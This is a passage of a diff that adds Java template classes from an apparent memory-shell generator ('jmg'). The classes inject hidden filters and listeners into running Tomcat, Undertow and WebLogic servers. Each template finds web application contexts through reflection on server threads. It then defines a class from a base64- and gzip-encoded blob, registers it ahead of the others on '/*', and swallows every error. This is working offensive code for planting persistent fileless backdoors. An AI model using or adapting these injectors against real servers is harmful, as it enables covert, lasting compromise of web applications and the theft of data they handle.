return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,230 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Tomcat Listener 注入器
* Author: pen4uin
* 测试版本:
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*/
public class TomcatListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatListenerInjectorTpl();
}
public TomcatListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
return;
}
try {
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
} catch (Exception e) {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
arrayList.add(listener);
// (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch
//context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray());
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,207 @@
package jmg.core.template;
import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class UndertowFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new UndertowFilterInjectorTpl();
}
public UndertowFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null)
contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
String filterClassName = filter.getClass().getName();
try {
if (isInjected(context, filterClassName)) {
return;
}
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,202 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class UndertowListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new UndertowListenerInjectorTpl();
}
public UndertowListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
public void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
for (int i = 0; i < allListeners.size(); i++) {
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
if (listener.getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,292 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
public class WebLogicFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebLogicFilterInjectorTpl();
}
public WebLogicFilterInjectorTpl() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public static Object[] getContextsByMbean() throws Throwable {
HashSet webappContexts = new HashSet();
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFV(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable e) {
}
try {
Set childrenSet = (Set) getFV(applicationRuntime, "children");
Iterator iterator = childrenSet.iterator();
while (iterator.hasNext()) {
Object componentRuntime = iterator.next();
try {
Object context = getFV(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
} catch (Throwable e) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
HashSet webappContexts = new HashSet();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFV(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFV(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFV(connectionHandler, "request");
if (request != null) {
context = getFV(request, "context");
}
}
if (context == null) {
context = getFV(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
HashSet webappContexts = new HashSet();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable e) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable e) {
}
return webappContexts.toArray();
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
/**
* https://github.com/BeichenDream/GodzillaMemoryShellProject
*/
public void addFilter(Object context, Object filter) throws Exception {
String filterClassName = filter.getClass().getName();
if (!isInjected(context, filterClassName)) {
try {
Object filterManager = invokeMethod(context, "getFilterManager");
Object servletClassLoader = invokeMethod(context, "getServletClassLoader");
Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses");
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
cachedClasses.put(filterClassName, filter.getClass());
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
//将filter置为第一位
List filterPatternList = (List) getFV(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping);
} catch (Throwable e) {
}
}
}
public static boolean isInjected(Object context, String filterClassName) throws Exception {
HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters");
for (Object obj : filters.keySet()) {
if (obj.toString().contains(filterClassName))
return true;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,274 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
public class WebLogicListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebLogicListenerInjectorTpl();
}
public WebLogicListenerInjectorTpl() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
registerListener(context, listener);
}
} catch (Exception ignored) {
}
}
public static Object[] getContextsByMbean() throws Throwable {
HashSet webappContexts = new HashSet();
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFV(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable e) {
}
try {
Set childrenSet = (Set) getFV(applicationRuntime, "children");
Iterator iterator = childrenSet.iterator();
while (iterator.hasNext()) {
Object componentRuntime = iterator.next();
try {
Object context = getFV(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
} catch (Throwable e) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
HashSet webappContexts = new HashSet();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFV(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFV(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFV(connectionHandler, "request");
if (request != null) {
